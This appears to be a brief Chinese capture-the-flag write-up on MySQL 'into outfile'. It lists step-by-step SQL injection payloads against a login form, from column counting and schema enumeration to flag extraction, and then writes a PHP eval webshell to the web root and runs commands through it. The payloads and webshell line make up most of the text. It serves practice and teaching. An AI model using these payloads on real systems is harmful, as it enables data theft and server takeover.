简介
select * from user into outfile 'C:/Users/ichunqiu/Desktop/PhpStudy2018/PHPTutorial/WWW/1.txt';
用法的意思就是把user表中查询到的所有字段都导出到1.txt文件中
我们之前还有学到dumpfile，单是它只能导出一条数据
写入shell
测试注入点
username=admin&password=a闭合
username=admin' and 1=1%23&password=a测试列数
username=admin' order by 3%23&password=a测试回显位
username=a' union select 1,2,3%23&password=a查库名
username=a' union select 1,database(),3%23&password=a查表名
username=a' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23&password=a查列名
username=a' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'%23&password=a查flag
username=a' union select 1,flag,3 from flag%23&password=aFlag提示了一个路径，使用load_file读取username=a' union select 1,load_file('C:/phpstudy_pro/WWW/7/7/flag.txt'),3 %23&password=a提示hacker 过滤了load_file
不能用load_file读文件，现在就可以利用into outfile 来写入一个webshell，然后拿到flag写入webshell
select "<?php eval($_POST['shell']);?>" into outfile 'C:/phpstudy_pro/WWW/shell.php';post
shell=phpinfo();
成功执行phpinfo拿flag
shell=readfile('flag.txt');
利用文件包含
